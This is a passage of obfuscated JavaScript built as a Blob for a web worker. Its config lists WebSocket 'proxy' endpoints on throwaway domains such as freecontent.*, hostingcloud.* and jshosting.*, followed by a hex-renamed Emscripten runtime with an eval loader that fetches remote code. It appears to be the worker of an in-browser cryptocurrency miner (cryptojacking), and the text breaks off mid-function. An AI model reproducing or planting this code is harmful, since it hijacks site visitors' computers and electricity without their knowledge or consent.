Blob(["self['Client']=self['Client']||{};self['Client']['CONFIG']={'LIB_URL':'https://www.freecontent.stream./','ASMJS_NAME':'lqiFvJ.js','REQUIRES_AUTH':![],'WEBSOCKET_SHARDS':[[\"wss://freecontent.faith.:443/proxy\",\"wss://freecontent.party.:443/proxy\",\"wss://freecontent.science.:443/proxy\",\"wss://freecontent.trade.:443/proxy\",\"wss://hostingcloud.accountant.:443/proxy\",\"wss://hostingcloud.bid.:443/proxy\",\"wss://hostingcloud.date.:443/proxy\",\"wss://hostingcloud.download.:443/proxy\",\"wss://hostingcloud.faith.:443/proxy\",\"wss://hostingcloud.loan.:443/proxy\",\"wss://jshosting.bid.:443/proxy\",\"wss://jshosting.date.:443/proxy\",\"wss://jshosting.download.:443/proxy\",\"wss://jshosting.loan.:443/proxy\",\"wss://jshosting.party.:443/proxy\",\"wss://jshosting.racing.:443/proxy\",\"wss://jshosting.review.:443/proxy\",\"wss://jshosting.stream.:443/proxy\",\"wss://jshosting.trade.:443/proxy\",\"wss://jshosting.win.:443/proxy\"]],'CAPTCHA_URL':'','MINER_URL':'','AUTH_URL':''};var _0x1ddafb={'locateFile':function(_0xadef13){return Client['CONFIG']['LIB_URL']+_0xadef13}};var _0x1ddafb;if(!_0x1ddafb)_0x1ddafb=(typeof _0x1ddafb!=='undefined'?_0x1ddafb:null)||{};var _0x5a0205={};for(var _0x13cb49 in _0x1ddafb){if(_0x1ddafb['hasOwnProperty'](_0x13cb49)){_0x5a0205[_0x13cb49]=_0x1ddafb[_0x13cb49]}}var _0x2ed76e=![];var _0x303a74=![];var _0x1c7d8b=![];var _0x12e710=![];if(_0x1ddafb['ENVIRONMENT']){if(_0x1ddafb['ENVIRONMENT']==='WEB'){_0x2ed76e=!![]}else if(_0x1ddafb['ENVIRONMENT']==='WORKER'){_0x303a74=!![]}else if(_0x1ddafb['ENVIRONMENT']==='NODE'){_0x1c7d8b=!![]}else if(_0x1ddafb['ENVIRONMENT']==='SHELL'){_0x12e710=!![]}else{throw new Error('The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.')}}else{_0x2ed76e=typeof window==='object';_0x303a74=typeof importScripts==='function';_0x1c7d8b=typeof process==='object'&&typeof require==='function'&&!_0x2ed76e&&!_0x303a74;_0x12e710=!_0x2ed76e&&!_0x1c7d8b&&!_0x303a74}if(_0x1c7d8b){if(!_0x1ddafb['print'])_0x1ddafb['print']=console['log'];if(!_0x1ddafb['printErr'])_0x1ddafb['printErr']=console['warn'];var _0x45e7a0;var _0x49c8da;_0x1ddafb['read']=function shell_read(_0x245955,_0x45aa18){if(!_0x45e7a0)_0x45e7a0=require('fs');if(!_0x49c8da)_0x49c8da=require('path');_0x245955=_0x49c8da['normalize'](_0x245955);var _0x4fc06f=_0x45e7a0['readFileSync'](_0x245955);return _0x45aa18?_0x4fc06f:_0x4fc06f['toString']()};_0x1ddafb['readBinary']=function readBinary(_0x3ae042){var _0x1d7a4f=_0x1ddafb['read'](_0x3ae042,!![]);if(!_0x1d7a4f['buffer']){_0x1d7a4f=new Uint8Array(_0x1d7a4f)}_0x455315(_0x1d7a4f['buffer']);return _0x1d7a4f};_0x1ddafb['load']=function load(_0x19a7d6){_0x71c3c0(read(_0x19a7d6))};if(!_0x1ddafb['thisProgram']){if(process['argv']['length']>0x1){_0x1ddafb['thisProgram']=process['argv'][0x1]['replace'](/\\/g,'/')}else{_0x1ddafb['thisProgram']='unknown-program'}}_0x1ddafb['arguments']=process['argv']['slice'](0x2);if(typeof module!=='undefined'){module['exports']=_0x1ddafb}process['on']('uncaughtException',function(_0x157461){if(!(_0x157461 instanceof _0x5bc400)){throw _0x157461}});_0x1ddafb['inspect']=function(){return'[Emscripten Module object]'}}else if(_0x12e710){if(!_0x1ddafb['print'])_0x1ddafb['print']=print;if(typeof printErr!='undefined')_0x1ddafb['printErr']=printErr;if(typeof read!='undefined'){_0x1ddafb['read']=read}else{_0x1ddafb['read']=function shell_read(){throw'no read() available'}}_0x1ddafb['readBinary']=function readBinary(_0x28c3ba){if(typeof readbuffer==='function'){return new Uint8Array(readbuffer(_0x28c3ba))}var _0x34803c=read(_0x28c3ba,'binary');_0x455315(typeof _0x34803c==='object');return _0x34803c};if(typeof scriptArgs!='undefined'){_0x1ddafb['arguments']=scriptArgs}else if(typeof arguments!='undefined'){_0x1ddafb['arguments']=arguments}if(typeof quit==='function'){_0x1ddafb['quit']=function(_0x50fca1,_0x5f0007){quit(_0x50fca1)}}}else if(_0x2ed76e||_0x303a74){_0x1ddafb['read']=function shell_read(_0xc4d91a){var _0x580bfb=new XMLHttpRequest();_0x580bfb['open']('GET',_0xc4d91a,![]);_0x580bfb['send'](null);return _0x580bfb['responseText']};if(_0x303a74){_0x1ddafb['readBinary']=function readBinary(_0x4eaa50){var _0x109385=new XMLHttpRequest();_0x109385['open']('GET',_0x4eaa50,![]);_0x109385['responseType']='arraybuffer';_0x109385['send'](null);return new Uint8Array(_0x109385['response'])}}_0x1ddafb['readAsync']=function readAsync(_0x1d12d5,_0x3269e6,_0x8b38c8){var _0x109380=new XMLHttpRequest();_0x109380['open']('GET',_0x1d12d5,!![]);_0x109380['responseType']='arraybuffer';_0x109380['onload']=function xhr_onload(){if(_0x109380['status']==0xc8||_0x109380['status']==0x0&&_0x109380['response']){_0x3269e6(_0x109380['response'])}else{_0x8b38c8()}};_0x109380['onerror']=_0x8b38c8;_0x109380['send'](null)};if(typeof arguments!='undefined'){_0x1ddafb['arguments']=arguments}if(typeof console!=='undefined'){if(!_0x1ddafb['print'])_0x1ddafb['print']=function shell_print(_0x948951){console['log'](_0x948951)};if(!_0x1ddafb['printErr'])_0x1ddafb['printErr']=function shell_printErr(_0x4a7747){console['warn'](_0x4a7747)}}else{var _0x49c688=![];if(!_0x1ddafb['print'])_0x1ddafb['print']=_0x49c688&&typeof dump!=='undefined'?function(_0x1eba2d){dump(_0x1eba2d)}:function(_0x481d26){}}if(_0x303a74){_0x1ddafb['load']=importScripts}if(typeof _0x1ddafb['setWindowTitle']==='undefined'){_0x1ddafb['setWindowTitle']=function(_0x50ff24){document['title']=_0x50ff24}}}else{throw'Unknown runtime environment. Where are we?'}function _0x71c3c0(_0xfc66ac){eval['call'](null,_0xfc66ac)}if(!_0x1ddafb['load']&&_0x1ddafb['read']){_0x1ddafb['load']=function load(_0x1ea218){_0x71c3c0(_0x1ddafb['read'](_0x1ea218))}}if(!_0x1ddafb['print']){_0x1ddafb['print']=function(){}}if(!_0x1ddafb['printErr']){_0x1ddafb['printErr']=_0x1ddafb['print']}if(!_0x1ddafb['arguments']){_0x1ddafb['arguments']=[]}if(!_0x1ddafb['thisProgram']){_0x1ddafb['thisProgram']='./this.program'}if(!_0x1ddafb['quit']){_0x1ddafb['quit']=function(_0x4d3de1,_0xef0c53){throw _0xef0c53}}_0x1ddafb['print']=_0x1ddafb['print'];_0x1ddafb['printErr']=_0x1ddafb['printErr'];_0x1ddafb['preRun']=[];_0x1ddafb['postRun']=[];for(var _0x13cb49 in _0x5a0205){if(_0x5a0205['hasOwnProperty'](_0x13cb49)){_0x1ddafb[_0x13cb49]=_0x5a0205[_0x13cb49]}}_0x5a0205=undefined;var _0x399b85={'staticAlloc':function(_0xb08616){var _0x40677a=_0x2dbd33;_0x2dbd33=_0x2dbd33+_0xb08616|0x0;_0x2dbd33=_0x2dbd33+0xf&-0x10;return _0x40677a},'dynamicAlloc':function(_0x16a6d8){var _0x1671e7=_0x19d918[_0x1b265d>>0x2];var _0x30160d=(_0x1671e7+_0x16a6d8+0xf|0x0)&-0x10;_0x19d918[_0x1b265d>>0x2]=_0x30160d;if(_0x30160d>=_0x1c7e16){var _0x400c7b=_0x349752();if(!_0x400c7b){_0x19d918[_0x1b265d>>0x2]=_0x1671e7;return 0x0}}return _0x1671e7},'alignMemory':function(_0x2ea3b3,_0x32dc8d){var _0x1f58b9=_0x2ea3b3=Math['ceil'](_0x2ea3b3/(_0x32dc8d?_0x32dc8d:0x10))*(_0x32dc8d?_0x32dc8d:0x10);return _0x1f58b9},'makeBigInt':function(_0x21aab8,_0x391c97,_0x2de0fd){var _0x1c532a=_0x2de0fd?+(_0x21aab8>>>0x0)+ +(_0x391c97>>>0x0)*0x100000000:+(_0x21aab8>>>0x0)+ +(_0x391c97|0x0)*0x100000000;return _0x1c532a},'GLOBAL_BASE':0x400,'QUANTUM_SIZE':0x4,'__dummy__':0x0};_0x1ddafb['Runtime']=_0x399b85;var _0x4b355c=0x0;var _0x478d72=0x0;function _0x455315(_0x18085f,_0x519f4d){if(!_0x18085f){_0x69c2fc('Assertion failed: '+_0x519f4d)}}function _0x44ca70(_0xb46be2){var _0x304c2d=_0x1ddafb['_'+_0xb46be2];if(!_0x304c2d){try{_0x304c2d=eval('_'+_0xb46be2)}catch(_0x3d57c9){}}_0x455315(_0x304c2d,'Cannot call unknown function '+_0xb46be2+' (perhaps LLVM optimizations or closure removed it?)');return _0x304c2d}var _0x1db118,_0x5a7b40;(function(){var _0x16f534={'stackSave':function(){_0x399b85['stackSave']()},'stackRestore':function(){_0x399b85['stackRestore']()},'arrayToC':function(_0x224e27){var _0x42c853=_0x399b85['stackAlloc'](_0x224e27['length']);_0x1c6496(_0x224e27,_0x42c853);return _0x42c853},'stringToC':function(_0x555743){var _0x5b4676=0x0;if(_0x555743!==null&&_0x555743!==undefined&&_0x555743!==0x0){var _0x3deecb=(_0x555743['length']<<0x2)+0x1;_0x5b4676=_0x399b85['stackAlloc'](_0x3deecb);_0x453b33(_0x555743,_0x5b4676,_0x3deecb)}return _0x5b4676}};var _0x13b352={'string':_0x16f534['stringToC'],'array':_0x16f534['arrayToC']};_0x5a7b40=function ccallFunc(_0x3754ff,_0x3e4274,_0x4c8eec,_0x16ee3d,_0x407b4d){var _0x382f21=_0x44ca70(_0x3754ff);var _0x1bfd50=[];var _0x11a9f3=0x0;if(_0x16ee3d){for(var _0x59a655=0x0;_0x59a655<_0x16ee3d['length'];_0x59a655++){var _0x4380dc=_0x13b352[_0x4c8eec[_0x59a655]];if(_0x4380dc){if(_0x11a9f3===0x0)_0x11a9f3=_0x399b85['stackSave']();_0x1bfd50[_0x59a655]=_0x4380dc(_0x16ee3d[_0x59a655])}else{_0x1bfd50[_0x59a655]=_0x16ee3d[_0x59a655]}}}var _0x3be91f=_0x382f21['apply'](null,_0x1bfd50);if(_0x3e4274==='string')_0x3be91f=_0x561b9c(_0x3be91f);if(_0x11a9f3!==0x0){if(_0x407b4d&&_0x407b4d['async']){EmterpreterAsync['asyncFinalizers']['push'](function(){_0x399b85['stackRestore'](_0x11a9f3)});return}_0x399b85['stackRestore'](_0x11a9f3)}return _0x3be91f};var _0x569b6a=/^functions*[a-zA-Z$_0-9]*s*(([^)]*))s*{s*([^*]*?)[s;]*(?:returns*(.*?)[;s]*)?}$/;function _0x552333(_0x2332bd){var _0x548723=_0x2332bd['toString']()['match'](_0x569b6a)['slice'](0x1);return{'arguments':_0x548723[0x0],'body':_0x548723[0x1],'returnValue':_0x548723[0x2]}}var _0x4da3f6=null}());_0x1ddafb['ccall']=_0x5a7b40;_0x1ddafb['cwrap']=_0x1db118;function _0x23d3b5(_0x5ca2ba,_0x572192,_0x2799f3,_0x3f05e8){_0x2799f3=_0x2799f3||'i8';if(_0x2799f3['charAt'](_0x2799f3['length']-0x1)==='*')_0x2799f3='i32';switch(_0x2799f3){case'i1':_0x84c7a2[_0x5ca2ba>>0x0]=_0x572192;break;case'i8':_0x84c7a2[_0x5ca2ba>>0x0]=_0x572192;break;case'i16':_0x1bfa63[_0x5ca2ba>>0x1]=_0x572192;break;case'i32':_0x19d918[_0x5ca2ba>>0x2]=_0x572192;break;case'i64':tempI64=[_0x572192>>>0x0,(tempDouble=_0x572192,+_0x4add08(tempDouble)>=0x1?tempDouble>0x0?(_0x270e2f(+_0x356d74(tempDouble/0x100000000),0xffffffff)|0x0)>>>0x0:~~+_0x2b63a7((tempDouble- +(~~tempDouble>>>0x0))/0x100000000)>>>0x0:0x0)],_0x19d918[_0x5ca2ba>>0x2]=tempI64[0x0],_0x19d918[_0x5ca2ba+0x4>>0x2]=tempI64[0x1];break;case'float':_0x1342ea[_0x5ca2ba>>0x2]=_0x572192;break;case'double':_0x2e1a1b[_0x5ca2ba>>0x3]=_0x572192;break;default:_0x69c2fc('invalid type for setValue: '+_0x2799f3)}}_0x1ddafb['setValue']=_0x23d3b5;function _0xa0e2c0(_0x9356b9,_0x6d361d,_0x366760){_0x6d361d=_0x6d361d||'i8';if(_0x6d361d['charAt'](_0x6d361d['length']-0x1)==='*')_0x6d361d='i32';switch(_0x6d361d){case'i1':return _0x84c7a2[_0x9356b9>>0x0];case'i8':return _0x84c7a2[_0x9356b9>>0x0];case'i16':return _0x1bfa63[_0x9356b9>>0x1];case'i32':return _0x19d918[_0x9356b9>>0x2];case'i64':return _0x19d918[_0x9356b9>>0x2];case'float':return _0x1342ea[_0x9356b9>>0x2];case'double':return _0x2e1a1b[_0x9356b9>>0x3];default:_0x69c2fc('invalid type for setValue: '+_0x6d361d)}return null}_0x1ddafb['getValue']=_0xa0e2c0;var _0x28ad82=0x0;var _0x365f44=0x1;var _0x27fef0=0x2;var _0x1c93e3=0x3;var _0x33a010=0x4;_0x1ddafb['ALLOC_NORMAL']=_0x28ad82;_0x1ddafb['ALLOC_STACK']=_0x365f44;_0x1ddafb['ALLOC_STATIC']=_0x27fef0;_0x1ddafb['ALLOC_DYNAMIC']=_0x1c93e3;_0x1ddafb['ALLOC_NONE']=_0x33a010;function _0x510da9(_0x51e127,_0x350add,_0x140054,_0x56b677){var _0x1e0088,_0x552c5a;if(typeof _0x51e127==='number'){_0x1e0088=!![];_0x552c5a=_0x51e127}else{_0x1e0088=![];_0x552c5a=_0x51e127['length']}var _0x50a393=typeof _0x350add==='string'?_0x350add:null;var _0x3d70ee;if(_0x140054==_0x33a010){_0x3d70ee=_0x56b677}else{_0x3d70ee=[typeof _0xb42c32==='function'?_0xb42c32:_0x399b85['staticAlloc'],_0x399b85['stackAlloc'],_0x399b85['staticAlloc'],_0x399b85['dynamicAlloc']][_0x140054===undefined?_0x27fef0:_0x140054](Math['max'](_0x552c5a,_0x50a393?0x1:_0x350add['length']))}if(_0x1e0088){var _0x56b677=_0x3d70ee,_0x34145d;_0x455315((_0x3d70ee&0x3)==0x0);_0x34145d=_0x3d70ee+(_0x552c5a&~0x3);for(;_0x56b677<_0x34145d;_0x56b677+=0x4){_0x19d918[_0x56b677>>0x2]=0x0}_0x34145d=_0x3d70ee+_0x552c5a;while(_0x56b677<_0x34145d){_0x84c7a2[_0x56b677++>>0x0]=0x0}return _0x3d70ee}if(_0x50a393==='i8'){if(_0x51e127['subarray']||_0x51e127['slice']){_0x2a1483['set'](_0x51e127,_0x3d70ee)}else{_0x2a1483['set'](new Uint8Array(_0x51e127),_0x3d70ee)}return _0x3d70ee}var _0x3bb3ee=0x0,_0x3d97c4,_0x292035,_0x184f9b;while(_0x3bb3ee<_0x552c5a){var _0x51928e=_0x51e127[_0x3bb3ee];if(typeof _0x51928e==='function'){_0x51928e=_0x399b85['getFunctionIndex'](_0x51928e)}_0x3d97c4=_0x50a393||_0x350add[_0x3bb3ee];if(_0x3d97c4===0x0){_0x3bb3ee++;continue}if(_0x3d97c4=='i64')_0x3d97c4='i32';_0x23d3b5(_0x3d70ee+_0x3bb3ee,_0x51928e,_0x3d97c4);if(_0x184f9b!==_0x3d97c4){_0x292035=_0x399b85['getNativeTypeSize'](_0x3d97c4);_0x184f9b=_0x3d97c4}_0x3bb3ee+=_0x292035}return _0x3d70ee}_0x1ddafb['allocate']=_0x510da9;function _0x485d46(_0x455d86){if(!_0x51ed65)return _0x399b85['staticAlloc'](_0x455d86);if(!_0x215bc9)return _0x399b85['dynamicAlloc'](_0x455d86);return _0xb42c32(_0x455d86)}_0x1ddafb['getMemory']=_0x485d46;function _0x561b9c(_0x31fbd1,_0x18f31d){if(_0x18f31d===0x0||!_0x31fbd1)return'';var _0x293d2c=0x0;var _0x2964e1;var _0x4ae8ff=0x0;while(0x1){_0x2964e1=_0x2a1483[_0x31fbd1+_0x4ae8ff>>0x0];_0x293d2c|=_0x2964e1;if(_0x2964e1==0x0&&!_0x18f31d)break;_0x4ae8ff++;if(_0x18f31d&&_0x4ae8ff==_0x18f31d)break}if(!_0x18f31d)_0x18f31d=_0x4ae8ff;var _0x1344cd='';if(_0x293d2c<0x80){var _0x4b9c4b=0x400;var _0x4b71e7;while(_0x18f31d>0x0){_0x4b71e7=String['fromCharCode']['apply'](String,_0x2a1483['subarray'](_0x31fbd1,_0x31fbd1+Math['min'](_0x18f31d,_0x4b9c4b)));_0x1344cd=_0x1344cd?_0x1344cd+_0x4b71e7:_0x4b71e7;_0x31fbd1+=_0x4b9c4b;_0x18f31d-=_0x4b9c4b}return _0x1344cd}return _0x1ddafb['UTF8ToString'](_0x31fbd1)}_0x1ddafb['Pointer_stringify']=_0x561b9c;function _0x94e5(_0x395589){var _0x21648f='';while(0x1){var _0x12ff8f=_0x84c7a2[_0x395589++>>0x0];if(!_0x12ff8f)return _0x21648f;_0x21648f+=String['fromCharCode'](_0x12ff8f)}}_0x1ddafb['AsciiToString']=_0x94e5;function _0x2ad4cd(_0x266acd,_0x3b7828){return _0x2cc1e5(_0x266acd,_0x3b7828,![])}_0x1ddafb['stringToAscii']=_0x2ad4cd;var _0x30ddf0=typeof TextDecoder!=='undefined'?new TextDecoder('utf8'):undefined;function _0x8446ce(_0x1b365a,_0x851461){var _0x1f72fc=_0x851461;while(_0x1b365a[_0x1f72fc])++_0x1f72fc;if(_0x1f72fc-_0x851461>0x10&&_0x1b365a['subarray']&&_0x30ddf0){return _0x30ddf0['decode'](_0x1b365a['subarray'](_0x851461,_0x1f72fc))}else{var _0x4b5f79,_0xd516dd,_0x2c0555,_0x1871b7,_0x4c10b0,_0x423677;var _0x3840dc='';while(0x1){_0x4b5f79=_0x1b365a[_0x851461++];if(!_0x4b5f79)return _0x3840dc;if(!(_0x4b5f79&0x80)){_0x3840dc+=String['fromCharCode'](_0x4b5f79);continue}_0xd516dd=_0x1b365a[_0x851461++]&0x3f;if((_0x4b5f79&0xe0)==0xc0){_0x3840dc+=String['fromCharCode']((_0x4b5f79&0x1f)<<0x6|_0xd516dd);continue}_0x2c0555=_0x1b365a[_0x851461++]&0x3f;if((_0x4b5f79&0xf0)==0xe0){_0x4b5f79=(_0x4b5f79&0xf)<<0xc|_0xd516dd<<0x6|_0x2c0555}else{_0x1871b7=_0x1b365a[_0x851461++]&0x3f;if((_0x4b5f79&0xf8)==0xf0){_0x4b5f79=(_0x4b5f79&0x7)<<0x12|_0xd516dd<<0xc|_0x2c0555<<0x6|_0x1871b7}else{_0x4c10b0=_0x1b365a[_0x851461++]&0x3f;if((_0x4b5f79&0xfc)==0xf8){_0x4b5f79=(_0x4b5f79&0x3)<<0x18|_0xd516dd<<0x12|_0x2c0555<<0xc|_0x1871b7<<0x6|_0x4c10b0}else{_0x423677=_0x1b365a[_0x851461++]&0x3f;_0x4b5f79=(_0x4b5f79&0x1)<<0x1e|_0xd516dd<<0x18|_0x2c0555<<0x12|_0x1871b7<<0xc|_0x4c10b0<<0x6|_0x423677}}}if(_0x4b5f79<0x10000){_0x3840dc+=String['fromCharCode'](_0x4b5f79)}else{var _0x3147ea=_0x4b5f79-0x10000;_0x3840dc+=String['fromCharCode'](0xd800|_0x3147ea>>0xa,0xdc00|_0x3147ea&0x3ff)}}}}_0x1ddafb['UTF8ArrayToString']=_0x8446ce;function _0x2d81da(_0x3042a4){return _0x8446ce(_0x2a1483,_0x3042a4)}_0x1ddafb['UTF8ToString']=_0x2d81da;function _0x2f28ef(_0x36989f,_0x4daf5e,_0x366590,_0x493099){if(!(_0x493099>0x0))return 0x0;var _0x17bf34=_0x366590;var _0x1598c6=_0x366590+_0x493099-0x1;for(var _0x3ae44d=0x0;_0x3ae44d<_0x36989f['length'];++_0x3ae44d){var _0x182e12=_0x36989f['charCodeAt'](_0x3ae44d);if(_0x182e12>=0xd800&&_0x182e12<=0xdfff)_0x182e12=0x10000+((_0x182e12&0x3ff)<<0xa)|_0x36989f['charCodeAt'](++_0x3ae44d)&0x3ff;if(_0x182e12<=0x7f){if(_0x366590>=_0x1598c6)break;_0x4daf5e[_0x366590++]=_0x182e12}else if(_0x182e12<=0x7ff){if(_0x366590+0x1>=_0x1598c6)break;_0x4daf5e[_0x366590++]=0xc0|_0x182e12>>0x6;_0x4daf5e[_0x366590++]=0x80|_0x182e12&0x3f}else if(_0x182e12<=0xffff){if(_0x366590+0x2>=_0x1598c6)break;_0x4daf5e[_0x366590++]=0xe0|_0x182e12>>0xc;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x6&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12&0x3f}else if(_0x182e12<=0x1fffff){if(_0x366590+0x3>=_0x1598c6)break;_0x4daf5e[_0x366590++]=0xf0|_0x182e12>>0x12;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0xc&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x6&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12&0x3f}else if(_0x182e12<=0x3ffffff){if(_0x366590+0x4>=_0x1598c6)break;_0x4daf5e[_0x366590++]=0xf8|_0x182e12>>0x18;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x12&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0xc&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x6&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12&0x3f}else{if(_0x366590+0x5>=_0x1598c6)break;_0x4daf5e[_0x366590++]=0xfc|_0x182e12>>0x1e;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x18&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x12&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0xc&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12>>0x6&0x3f;_0x4daf5e[_0x366590++]=0x80|_0x182e12&0x3f}}_0x4daf5e[_0x366590]=0x0;return _0x366590-_0x17bf34}_0x1ddafb['stringToUTF8Array']=_0x2f28ef;function _0x453b33(_0x5d9e85,_0x123f0f,_0x51d0a1){return _0x2f28ef(_0x5d9e85,_0x2a1483,_0x123f0f,_0x51d0a1)}_0x1ddafb['stringToUTF8']=_0x453b33;function _0x5d1e3d(_0x4dce83){var _0x44d570=0x0;for(var _0x4c6176=0x0;_0x4c6176<_0x4dce83['length'];++_0x4c6176){var _0x1ede68=_0x4dce83['charCodeAt'](_0x4c6176);if(_0x1ede68>=0xd800&&_0x1ede68<=0xdfff)_0x1ede68=0x10000+((_0x1ede68&0x3ff)<<0xa)|_0x4dce83['charCodeAt'](++_0x4c6176)&0x3ff;if(_0x1ede68<=0x7f){++_0x44d570}else if(_0x1ede68<=0x7ff){_0x44d570+=0x2}else if(_0x1ede68<=0xffff){_0x44d570+=0x3}else if(_0x1ede68<=0x1fffff){_0x44d570+=0x4}else if(_0x1ede68<=0x3ffffff){_0x44d570+=0x5}else{_0x44d570+=0x6}}return _0x44d570}_0x1ddafb['lengthBytesUTF8']=_0x5d1e3d;var _0x3721a0=typeof TextDecoder!=='undefined'?new TextDecoder('utf-16le'):undefined;function _0x2b7c9f(){var _0x5f4d42=_0x275dec();if(_0x1ddafb['extraStackTrace'])_0x5f4d42+='\n'+_0x1ddafb['extraStackTrace']();return _0xd5c2dd(_0x5f4d42)}_0x1ddafb['stackTrace']=_0x2b7c9f;var _0xe4c561=0x10000;var _0x3fa278=0x1000000;function _0x5f21d8(_0x1c1577,_0x23bc9d){if(_0x1c1577%_0x23bc9d>0x0){_0x1c1577+=_0x23bc9d-_0x1c1577%_0x23bc9d}return _0x1c1577}var _0x5de419,_0x10316f,_0x84c7a2,_0x2a1483,_0x1bfa63,_0x452010,_0x19d918,_0xf5764,_0x1342ea,_0x2e1a1b;function _0x3c179d(_0x45ab59){_0x1ddafb['buffer']=_0x10316f=_0x45ab59}function _0x141401(){_0x1ddafb['HEAP8']=_0x84c7a2=new Int8Array(_0x10316f);_0x1ddafb['HEAP16']=_0x1bfa63=new Int16Array(_0x10316f);_0x1ddafb['HEAP32']=_0x19d918=new Int32Array(_0x10316f);_0x1ddafb['HEAPU8']=_0x2a1483=new Uint8Array(_0x10316f);_0x1ddafb['HEAPU16']=_0x452010=new Uint16Array(_0x10316f);_0x1ddafb['HEAPU32']=_0xf5764=new Uint32Array(_0x10316f);_0x1ddafb['HEAPF32']=_0x1342ea=new Float32Array(_0x10316f);_0x1ddafb['HEAPF64']=_0x2e1a1b=new Float64Array(_0x10316f)}var _0xc70cdd,_0x2dbd33,_0x51ed65;var _0x45bd21,_0x2fea64,_0x7c6f7d;var _0x52b2be,_0x1b265d;_0xc70cdd=_0x2dbd33=_0x45bd21=_0x2fea64=_0x7c6f7d=_0x52b2be=_0x1b265d=0x0;_0x51ed65=![];function _0x7d2867(){_0x69c2fc('Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value '+_0x1c7e16+', (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ')}function _0x349752(){_0x7d2867()}var _0x4e28ff=_0x1ddafb['TOTAL_STACK']||0x500000;var _0x1c7e16=_0x1ddafb['TOTAL_MEMORY']||0x1000000;if(_0x1c7e16<_0x4e28ff)_0x1ddafb['printErr']('TOTAL_MEMORY should be larger than TOTAL_STACK, was '+_0x1c7e16+'! (TOTAL_STACK='+_0x4e28ff+')');if(_0x1ddafb['buffer']){_0x10316f=_0x1ddafb['buffer']}else{if(typeof WebAssembly==='object'&&typeof WebAssembly['Memory']==='function'){_0x1ddafb['wasmMemory']=new WebAssembly['Memory']({'initial':_0x1c7e16/_0xe4c561,'maximum':_0x1c7e16/_0xe4c561});_0x10316f=_0x1ddafb['wasmMemory']['buffer']}else{_0x10316f=new ArrayBuffer(_0x1c7e16)}}_0x141401();function _0x34f7de(){return _0x1c7e16}_0x19d918[0x0]=0x63736d65;_0x1bfa63[0x1]=0x6373;if(_0x2a1483[0x2]!==0x73||_0x2a1483[0x3]!==0x63)throw'Runtime error: expected the system to be little-endian!';_0x1ddafb['HEAP']=_0x5de419;_0x1ddafb['buffer']=_0x10316f;_0x1ddafb['HEAP8']=_0x84c7a2;_0x1ddafb['HEAP16']=_0x1bfa63;_0x1ddafb['HEAP32']=_0x19d918;_0x1ddafb['HEAPU8']=_0x2a1483;_0x1ddafb['HEAPU16']=_0x452010;_0x1ddafb['HEAPU32']=_0xf5764;_0x1ddafb['HEAPF32']=_0x1342ea;_0x1ddafb['HEAPF64']=_0x2e1a1b;function _0x39803d(_0x44272f){while(_0x44272f['length']>0x0){var _0x49fdff=_0x44272f['shift']();if(typeof _0x49fdff=='function'){_0x49fdff();continue}var _0x2df497=_0x49fdff['func'];if(typeof _0x2df497==='number'){if(_0x49fdff['arg']===undefined){_0x1ddafb['dynCall_v'](_0x2df497)}else{_0x1ddafb['dynCall_vi'](_0x2df497,_0x49fdff['arg'])}}else{_0x2df497(_0x49fdff['arg']===undefined?null:_0x49fdff['arg'])}}}var _0x5550fa=[];var _0x2104c7=[];var _0x1634b7=[];var _0x5944c2=[];var _0x34b613=[];var _0x215bc9=![];var _0x99e2cd=![];function _0x1138f6(){if(_0x1ddafb['preRun']){if(typeof _0x1ddafb['preRun']=='function')_0x1ddafb['preRun']=[_0x1ddafb['preRun']];while(_0x1ddafb['preRun']['length']){_0x143d96(_0x1ddafb['preRun']['shift']())}}_0x39803d(_0x5550fa)}function _0x29bc5b(){if(_0x215bc9)return;_0x215bc9=!![];_0x39803d(_0x2104c7)}function _0x3e938a(){_0x39803d(_0x1634b7)}function _0x3df867(){_0x39803d(_0x5944c2);_0x99e2cd=!![]}function _0x35c52b(){if(_0x1ddafb['postRun']){if(typeof _0x1ddafb['postRun']=='function')_0x1ddafb['postRun']=[_0x1ddafb['postRun']];while(_0x1ddafb['postRun']['length']){_0x1bcc9c(_0x1ddafb['postRun']['shift']())}}_0x39803d(_0x34b613)}function _0x143d96(_0x484217){_0x5550fa['unshift'](_0x484217)}_0x1ddafb['addOnPreRun']=_0x143d96;function _0x5b14e6(_0x126f9e){_0x2104c7['unshift'](_0x126f9e)}_0x1ddafb['addOnInit']=_0x5b14e6;function _0x10b017(_0x2d8c26){_0x1634b7['unshift'](_0x2d8c26)}_0x1ddafb['addOnPreMain']=_0x10b017;function _0x1f894b(_0x1b7d67){_0x5944c2['unshift'](_0x1b7d67)}_0x1ddafb['addOnExit']=_0x1f894b;function _0x1bcc9c(_0x445cf6){_0x34b613['unshift'](_0x445cf6)}_0x1ddafb['addOnPostRun']=_0x1bcc9c;function _0x2bd783(_0x401b73,_0x5d9434,_0x3dc350){var _0xafea77=_0x3dc350>0x0?_0x3dc350:_0x5d1e3d(_0x401b73)+0x1;var _0x50e5e4=new Array(_0xafea77);var _0x4a71d2=_0x2f28ef(_0x401b73,_0x50e5e4,0x0,_0x50e5e4['length']);if(_0x5d9434)_0x50e5e4['length']=_0x4a71d2;return _0x50e5e4}_0x1ddafb['intArrayFromString']=_0x2bd783;function _0x338743(_0x2398ca){var _0x66ea16=[];for(var _0x30453f=0x0;_0x30453f<_0x2398ca['length'];_0x30453f++){var _0x4b01a2=_0x2398ca[_0x30453f];if(_0x4b01a2>0xff){_0x4b01a2&=0xff}_0x66ea16['push'](String['fromCharCode'](_0x4b01a2))}return _0x66ea16['join']('')}_0x1ddafb['intArrayToString']=_0x338743;function 